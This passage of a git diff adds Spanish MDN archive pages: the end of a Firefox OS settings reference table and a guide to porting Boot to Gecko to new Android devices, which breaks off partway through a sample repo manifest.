+   <td><code>ril.data.mmsproxy</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.data.mmsport</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>ril.data.roaming_enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.data.user</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.apn</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.carrier</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.httpProxyHost</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.httpProxyPort</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.mmsc</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.mmsport</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.mmsproxy</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.passwd</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.mms.user</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.radio.preferredNetworkType</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.radio.disabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.apn</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.carrier</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.httpProxyHost</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.httpProxyPort</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.passwd</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.supl.user</code></td>
+   <td>String</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ril.sms.strict7BitEncoding.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ril.sms.</code>defaultServiceId</td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>ril.telephony.</code>defaultServiceId</td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>ring.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>screen.automatic-brightness</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>screen.brightness</code></td>
+   <td>Number</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td><code>screen.timeout</code></td>
+   <td>Number</td>
+   <td>60</td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.ip</code></td>
+   <td>String</td>
+   <td><code>192.168.0.1</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.prefix</code></td>
+   <td>String</td>
+   <td><code>24</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.dhcpserver.startip</code></td>
+   <td>String</td>
+   <td><code>192.168.0.10</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.dhcpserver.endip</code></td>
+   <td>String</td>
+   <td><code>192.168.0.30</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.ip</code></td>
+   <td>String</td>
+   <td><code>192.168.1.1</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.prefix</code></td>
+   <td>String</td>
+   <td><code>24</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.dhcpserver.startip</code></td>
+   <td>String</td>
+   <td><code>192.168.1.10</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.dhcpserver.endip</code></td>
+   <td>String</td>
+   <td><code>192.168.1.30</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.ssid</code></td>
+   <td>String</td>
+   <td><code>FirefoxHotspot</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.security.type</code></td>
+   <td>String</td>
+   <td><code>open</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.security.password</code></td>
+   <td>String</td>
+   <td><code>1234567890</code></td>
+  </tr>
+  <tr>
+   <td><code>tethering.wifi.connectedClients</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>tethering.usb.connectedClients</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>time.nitz.automatic-update.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>time.timezone</code></td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>ums.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>ums.mode</code></td>
+   <td>Number</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td><code>vibration.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>wifi.enabled</code></td>
+   <td>Boolean</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>wifi.screen_off_timeout</code></td>
+   <td>Number</td>
+   <td>600000</td>
+  </tr>
+  <tr>
+   <td><code>wifi.disabled_by_wakelock</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>wifi.notification</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>wifi.connect_via_settings</code></td>
+   <td>Boolean</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>icc.displayTextTimeout</code></td>
+   <td>Number</td>
+   <td>40000</td>
+  </tr>
+  <tr>
+   <td><code>icc.inputTextTimeout</code></td>
+   <td>Number</td>
+   <td>40000</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Settings" title="/en-US/docs/WebAPI/Settings">Settings API</a></li>
+ <li><a href="/es/docs/Web/API/SettingsManager" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>SettingsManager</code></a></li>
+ <li><a href="/es/docs/Web/API/Window/navigator/mozSettings" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>navigator.mozSettings</code></a></li>
+ <li><a href="https://github.com/mozilla-b2g/gaia/tree/master/build/config">config files in gaia repository</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/portando/index.html b/files/es/archive/b2g_os/portando/index.html
new file mode 100644
index 0000000000..6dada46208
--- /dev/null
+++ b/files/es/archive/b2g_os/portando/index.html
@@ -0,0 +1,369 @@
+---
+title: Portando a Boot to Gecko
+slug: Archive/B2G_OS/Portando
+tags:
+  - B2G
+  - portar
+  - porting
+translation_of: Archive/B2G_OS/Porting_B2G_OS/basics
+---
+<p>Boot to Gecko (FirefoxOS) utiliza un kernel derivado de <a href="http://www.android.com/" title="http://www.android.com/">Android</a>, con una interfaz de usuario basada en <a href="https://developer.mozilla.org/es/docs/Gecko" title="/en-US/docs/Gecko">Gecko</a> sobre él. Este artículo provee la guía básica de cómo portar el sistema operativo en nuevos dispositivos.</p>
+<p>Esta guía asume que tu estas portando en un dispositivo nuevo que está funcionando con Andriod; Si estás portando a otro dispositivo, el trabajo va a ser más enredado.</p>
+<h2 id="Prequisitos">Prequisitos</h2>
+<h3 id="Configurando_la_compilación_de_tu_sistema">Configurando la compilación de tu sistema</h3>
+<p>El primer paso es configurar la compilación del sistema; puedes seguir la guía en <a href="https://developer.mozilla.org/es/docs/Mozilla/Boot_to_Gecko/Firefox_OS_build_prerequisites" title="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_build_prerequisites">prerequisitos para compilar B2G</a>.</p>
+<h3 id="Crear_una_copia_de_seguridad_local_del_sistema_original_de_Android">Crear una copia de seguridad local del sistema original de Android</h3>
+<p>A continuación, deberás hacer una copia de seguridad de tu dispositivo Android antes de empezar a bombardearlo con tu compilación de pruebas de B2G. Además, algunos de estos comandos serán necesarios para el proceso de compilación e instalación.</p>
+<pre>mkdir my_device_backup
+cd my_device_backup
+adb pull /system system</pre>
+<div class="note">
+  <p><strong>Nota:</strong> Esto es opcional pero es recomendado, ya que algunas veces es posible tener perdidas mayores ocasionadas por problemas de compilaciones, en donde si no posees una copia de los archivos propietarios de tu telefono, lo mas probable es que el problema sea irreparable.</p>
+</div>
+<h2 id="B2G">B2G</h2>
+<h3 id="Crea_un_fork_del_repositorio_de_B2G">Crea un fork del repositorio de B2G</h3>
+<p>Para esto necesitas una cuenta en Github.com, si no la tienes, creala y luego realiza un fork del siguiente repositiorio:</p>
+<pre>https://github.com/mozilla-b2g/B2G</pre>
+<p>Si no sabes como crear un fork de un repositorio en visita este <a href="https://help.github.com/articles/fork-a-repo" title="https://help.github.com/articles/fork-a-repo">sitio</a> para obtener ayuda.</p>
+<h3 id="Clona_tu_repositorio_de_B2G">Clona tu repositorio de B2G</h3>
+<p>Una vez hecho el fork anterior, para empezar a portar B2G a tu nuevo dispositivo, es necesario que clones el repositiorio en tu equipo, clonamos el reposiorio de la siguiente manera:</p>
+<pre>git clone https://github.com/Your-User-Name/B2G.git</pre>
+<div class="note">
+  <p>Remplaza <strong>Your-User-Name</strong> con el usuario de tu cuenta de Github.</p>
+</div>
+<h3 id="Agrega_un_nuevo_dispositivo_al_config.sh">Agrega un nuevo dispositivo al config.sh</h3>
+<p>El siguiente paso, es agregar un nuevo dispositivo a <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a>; puedes usar uno de los existentes como plantilla. Esto básicamente consiste en proporcionar las instruciones para obtener los archivos correctos para hacer la compilación.</p>
+<p>Busca la linea siguiente en tu archivo <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a>:</p>
+<pre><span class="k">case</span> <span class="s2">"$1"</span> in</pre>
+<p>Seguidamente agrega:</p>
+<pre class="line"><span class="s2">"<strong>device-name</strong>"</span><span class="o">)</span>
+
+<span class="nb">echo </span><span class="nv">DEVICE</span><span class="o">=</span><strong>device-name</strong> &gt;&gt; .tmp-config <span class="o">&amp;&amp;</span>
+
+repo_sync <span class="nv">$1</span>
+
+;;</pre>
+<div class="note">
+  <p><strong>Nota:</strong> Debes remplazar la parte en que dice <strong>device-name</strong>, con el nombre de tu dispositivo, como por ejemplo si tu dispositivo fuera el Samsung Galaxy S3, quedaria asi:</p>
+  <pre class="line"><span class="s2">"<strong>i9300</strong>"</span><span class="o">)</span>
+
+<span class="nb">echo </span><span class="nv">DEVICE</span><span class="o">=</span><strong>i9300</strong> &gt;&gt; .tmp-config <span class="o">&amp;&amp;</span>
+
+repo_sync <span class="nv">$1</span>
+
+;;</pre>
+</div>
+<p>Como ultimo paso (opcional, no influye en nada si realizas o no este paso), buscas esta parte en tu archivo <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a>:</p>
+<pre class="line"><span class="nb">echo </span>Usage: <span class="nv">$0</span> <span class="se">\(</span>device name<span class="se">\)</span>
+
+<span class="nb">echo</span>
+
+<span class="nb">echo </span>Valid devices to configure are:
+
+<span class="nb">echo</span> - galaxy-s2
+
+<span class="nb">echo</span> - galaxy-nexus
+
+<span class="nb">echo</span> - nexus-s
+
+<span class="nb">echo</span> - nexus-s-4g
+
+<span class="nb">echo</span> - otoro
+
+<span class="nb">echo</span> - unagi
+
+<span class="nb">echo</span> - pandaboard
+
+<span class="nb">echo</span> - emulator
+
+<span class="nb">echo</span> - emulator-x86
+
+<span class="nb">exit</span> -1
+
+;;</pre>
+<p>Y agregas tu dispositivo:</p>
+<pre class="line">echo - device-name
+</pre>
+<div class="note">
+  <p><strong>Nota:</strong> Debes remplazar la parte en que dice <strong>device-name</strong>, con el nombre de tu dispositivo, como por ejemplo si tu dispositivo fuera el Samsung Galaxy S3, quedaria asi:</p>
+  <pre class="line">echo - i9300</pre>
+</div>
+<h3 id="Crear_un_árbol_de_configuración_para_el_nuevo_dispositivo">Crear un árbol de configuración para el nuevo dispositivo</h3>
+<p>Este arbol de configuracion debe incluir, al menos:</p>
+<ul>
+  <li><code>AndroidBoard.mk</code></li>
+  <li><code>AndroidProducts.mk</code></li>
+  <li><code>BoardConfig.mk</code></li>
+  <li><code>extract-files.sh</code></li>
+  <li><code>full_&lt;device_id&gt;.mk</code></li>
+  <li>archivos idc para pantallas táctiles</li>
+  <li>archivos de inicio (<code>init.rc</code>, <code>init.&lt;target&gt;.rc</code>, <code>uevent.rc</code>, ...)</li>
+</ul>
+<p>El contenido aquí puede variar en gran medida entre un dispositivo y otro. En particular, BoardConfig.mk y extract-files.sh podrían variar significativamente. Esta parte requiere un conjunto de hacking, pruebas, y depuración para averiguar que pedazos binarios deberán ser extraidos. Este arbol de configuracion debe estar hosteado en un repo en tu cuenta de Github, mira este <a href="https://github.com/mozilla-b2g/android-device-galaxys2" title="https://github.com/mozilla-b2g/android-device-galaxys2">repositorio de ejemplo</a> para que te hagas una idea de como tiene que quedar. (Solo es un ejemplo y no tiene que quedar igual a este, todos los telefonos tienen distinto Hardware)</p>
+<div class="note">
+  <p><strong>Nota:</strong> No es necesario que crees estos archivos por tu propia cuenta, por lo general la mayoria de los telefonos y dispositivos que corren <a href="http://www.cyanogenmod.com/" title="http://www.cyanogenmod.com/">CyanogenMod</a> o AOKP tienen un repositorio en Github con todos estos archivos del arbol de configuracion, puedes distinguirlos, porque la mayoria de estos repositorios llevan el nombre de: ej "android_device_samsung_i9300" (como es en este caso ejemplo, el nombre varia dependiendo de tu dispositivo). Asi que es recomendable que antes de que empieces a crear estos archivos por tu cuenta, revises algunos de los repositorios de CyanogenMod o AOKP, para ver si el arbol de configuracion de tu dispositivo ya esta creado por alguien mas.</p>
+  <p>Caso contrario ocurre con los dispositivos ZTE o algunos otros dispositivos a los cuales CyanogenMod o AOKP aun no han llegado, que requieren que crees estos archivos por tu propia cuenta desde 0. El <a href="http://forum.xda-developers.com/" title="http://forum.xda-developers.com/">Foro XDA </a> es otro buen lugar para debatir y ver recursos.</p>
+</div>
+<p>Una vez que tengas estos archivos, si te ha tocado crearlos desde 0 o tienes los archivos del arbol de configuracion en tu equipo, es totalmente necesario que los subas a un repositorio en tu cuenta de Github como se habia mencionado anteriormente. Si no sabes como crear el repositorio en donde alojar tus archivos de configuracion, por favor revisa esta <a href="https://help.github.com/articles/creating-a-new-repository" title="https://help.github.com/articles/creating-a-new-repository">guia</a>. Al final del proceso deberas tener un repositorio como este:</p>
+<pre>https://github.com/Your-User-Name/android-device-your-new-device</pre>
+<div class="note">
+  <p>En donde dice <strong>Your-User-Name</strong> deberia aparecer tu nombre de usuario de tu cuenta en Github, y en donde dice <strong>android-device-new-device</strong>, deberia aparecer el nombre que le has puesto a tu repositiorio cuando estabas creandolo. (ej: android-device-samsung-i9300)</p>
+</div>
+<p>Si por el contrario has tenido suerte de encontrar que CyanogenMod o AOKP, o algun otro usuario ya ha creado estos archivos, tienes que hacer un fork del repo en tu cuenta. En pocas palabras, es necesario que tengas todos los repos de tu dispositivo ha realizar el port de FirefoxOS, alojados en tu cuenta de Github.</p>
+<h2 id="El_Archivo_Manifest">El Archivo Manifest</h2>
+<h3 id="Crea_un_fork_del_repositorio_b2g-manifest">Crea un fork del repositorio b2g-manifest</h3>
+<p>De nuevo realizamos un fork al repositorio de b2g-manifest.</p>
+<pre>https://github.com/mozilla-b2g/b2g-manifest</pre>
+<p>Si no sabes como crear un fork de un repositorio en visita este <a href="https://help.github.com/articles/fork-a-repo" title="https://help.github.com/articles/fork-a-repo">sitio</a> para obtener ayuda.</p>
+<div class="note">
+  <p>Este fork tiene que quedar igualmente en tu cuenta de Github.</p>
+</div>
+<h3 id="Crea_tu_propio_repositorio_de_b2g-manifest">Crea tu propio repositorio de b2g-manifest</h3>
+<p>Una vez mas, es necesario que el repositorio que acabas de clonar en el paso anterior, sea hosteado por una cuenta de Github tuya en donde puedas hacer las modificaciones especiales para tu dispositivo. Quedando de la siguiente manera:</p>
+<pre>git clone https://github.com/Your-User-Name/b2g-manifest.git</pre>
+<h3 id="Crear_el_archivo_de_manifiesto_para_el_nuevo_dispositivo">Crear el archivo de manifiesto para el nuevo dispositivo</h3>
+<p>Ahora necesitas agregar los repositorios requeridos para el archivo de manifiesto para el nuevo dispositivo; este archivo de manifiesto es llamado <strong>device-name.xml </strong>(el nombre de este archivo debe ser cambiado por el nombre de tu dispositivo, conservando la extension que lo caracteriza, el .xml). Este archivo debe tener la siguiente estructura:</p>
+<div class="highlight">
+  <pre class="line"><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
+
+<span class="nt">&lt;manifest&gt;</span>
+
+
+  <span class="nt">&lt;remote</span> <span class="na">name=</span><span class="s">"aosp"</span>
+
+           <span class="na">fetch=</span><span class="s">"https://android.googlesource.com/"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;remote</span> <span class="na">name=</span><span class="s">"b2g"</span>
+
+          <span class="na">fetch=</span><span class="s">"git://github.com/mozilla-b2g/"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;remote</span> <span class="na">name=</span><span class="s">"linaro"</span>
+
+           <span class="na">fetch=</span><span class="s">"git://android.git.linaro.org/"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;remote</span> <span class="na">name=</span><span class="s">"mozilla"</span>
+
+<span class="na">fetch=</span><span class="s">"git://github.com/mozilla/"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;remote</span> <span class="na">name=</span><span class="s">"mozillaorg"</span>
+
+      <span class="na">fetch=</span><span class="s">"https://git.mozilla.org/releases"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;default</span> <span class="na">revision=</span><span class="s">"refs/tags/android-4.0.4_r1.2"</span>
+
+           <span class="na">remote=</span><span class="s">"linaro"</span>
+
+           <span class="na">sync-j=</span><span class="s">"4"</span> <span class="nt">/&gt;</span>
+
+
+  <span class="c">&lt;!-- Gonk specific things and forks --&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"build"</span> <span class="na">name=</span><span class="s">"platform_build"</span> <span class="na">remote=</span><span class="s">"b2g"</span> <span class="na">revision=</span><span class="s">"master"</span><span class="nt">&gt;</span>
+
+    <span class="nt">&lt;copyfile</span> <span class="na">src=</span><span class="s">"core/root.mk"</span> <span class="na">dest=</span><span class="s">"Makefile"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;/project&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"dalvik"</span> <span class="na">name=</span><span class="s">"fake-dalvik"</span> <span class="na">remote=</span><span class="s">"b2g"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"gaia"</span> <span class="na">name=</span><span class="s">"gaia.git"</span> <span class="na">remote=</span><span class="s">"mozillaorg"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"gecko"</span> <span class="na">name=</span><span class="s">"gecko.git"</span> <span class="na">remote=</span><span class="s">"mozillaorg"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"gonk-misc"</span> <span class="na">name=</span><span class="s">"gonk-misc"</span> <span class="na">remote=</span><span class="s">"b2g"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"rilproxy"</span> <span class="na">name=</span><span class="s">"rilproxy"</span> <span class="na">remote=</span><span class="s">"b2g"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/moztt"</span> <span class="na">name=</span><span class="s">"moztt"</span> <span class="na">remote=</span><span class="s">"b2g"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+
+  <span class="c">&lt;!-- Stock Android things --&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"abi/cpp"</span> <span class="na">name=</span><span class="s">"platform/abi/cpp"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"bionic"</span> <span class="na">name=</span><span class="s">"platform/bionic"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"bootable/recovery"</span> <span class="na">name=</span><span class="s">"platform/bootable/recovery"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"device/common"</span> <span class="na">name=</span><span class="s">"device/common"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"device/sample"</span> <span class="na">name=</span><span class="s">"device/sample"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/apriori"</span> <span class="na">name=</span><span class="s">"platform_external_apriori"</span> <span class="na">remote=</span><span class="s">"b2g"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/bluetooth/bluez"</span> <span class="na">name=</span><span class="s">"platform/external/bluetooth/bluez"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/bluetooth/glib"</span> <span class="na">name=</span><span class="s">"platform/external/bluetooth/glib"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/bluetooth/hcidump"</span> <span class="na">name=</span><span class="s">"platform/external/bluetooth/hcidump"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/bsdiff"</span> <span class="na">name=</span><span class="s">"platform/external/bsdiff"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/bzip2"</span> <span class="na">name=</span><span class="s">"platform/external/bzip2"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/dbus"</span> <span class="na">name=</span><span class="s">"platform/external/dbus"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/dhcpcd"</span> <span class="na">name=</span><span class="s">"platform/external/dhcpcd"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/dnsmasq"</span> <span class="na">name=</span><span class="s">"platform/external/dnsmasq"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/elfcopy"</span> <span class="na">name=</span><span class="s">"platform_external_elfcopy"</span> <span class="na">remote=</span><span class="s">"b2g"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/elfutils"</span> <span class="na">name=</span><span class="s">"platform_external_elfutils"</span> <span class="na">remote=</span><span class="s">"b2g"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/expat"</span> <span class="na">name=</span><span class="s">"platform/external/expat"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/fdlibm"</span> <span class="na">name=</span><span class="s">"platform/external/fdlibm"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/flac"</span> <span class="na">name=</span><span class="s">"platform/external/flac"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/freetype"</span> <span class="na">name=</span><span class="s">"platform/external/freetype"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/giflib"</span> <span class="na">name=</span><span class="s">"platform/external/giflib"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/gtest"</span> <span class="na">name=</span><span class="s">"platform/external/gtest"</span> <span class="na">remote=</span><span class="s">"linaro"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/harfbuzz"</span> <span class="na">name=</span><span class="s">"platform/external/harfbuzz"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/icu4c"</span> <span class="na">name=</span><span class="s">"platform/external/icu4c"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/iptables"</span> <span class="na">name=</span><span class="s">"platform/external/iptables"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/jpeg"</span> <span class="na">name=</span><span class="s">"platform/external/jpeg"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/libgsm"</span> <span class="na">name=</span><span class="s">"platform/external/libgsm"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/liblzf"</span> <span class="na">name=</span><span class="s">"platform/external/liblzf"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/libnfc-nxp"</span> <span class="na">name=</span><span class="s">"platform/external/libnfc-nxp"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/libnl-headers"</span> <span class="na">name=</span><span class="s">"platform/external/libnl-headers"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/libpng"</span> <span class="na">name=</span><span class="s">"platform/external/libpng"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/libvpx"</span> <span class="na">name=</span><span class="s">"platform/external/libvpx"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/mksh"</span> <span class="na">name=</span><span class="s">"platform/external/mksh"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/opensans"</span> <span class="na">name=</span><span class="s">"platform_external_opensans"</span> <span class="na">remote=</span><span class="s">"b2g"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/openssl"</span> <span class="na">name=</span><span class="s">"platform/external/openssl"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/protobuf"</span> <span class="na">name=</span><span class="s">"platform/external/protobuf"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/safe-iop"</span> <span class="na">name=</span><span class="s">"platform/external/safe-iop"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/screencap-gonk"</span> <span class="na">name=</span><span class="s">"screencap-gonk"</span> <span class="na">remote=</span><span class="s">"b2g"</span> <span class="na">revision=</span><span class="s">"master"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/sonivox"</span> <span class="na">name=</span><span class="s">"platform/external/sonivox"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/speex"</span> <span class="na">name=</span><span class="s">"platform/external/speex"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/sqlite"</span> <span class="na">name=</span><span class="s">"platform/external/sqlite"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/stlport"</span> <span class="na">name=</span><span class="s">"platform/external/stlport"</span> <span class="nt">/&gt;</span>
+
+  <span class="nt">&lt;project</span> <span class="na">path=</span><span class="s">"external/strace"</span> <span class="na">name=</span><span class="s">"platform/external/strace"</span> <span class="nt">/&gt;</span>
+
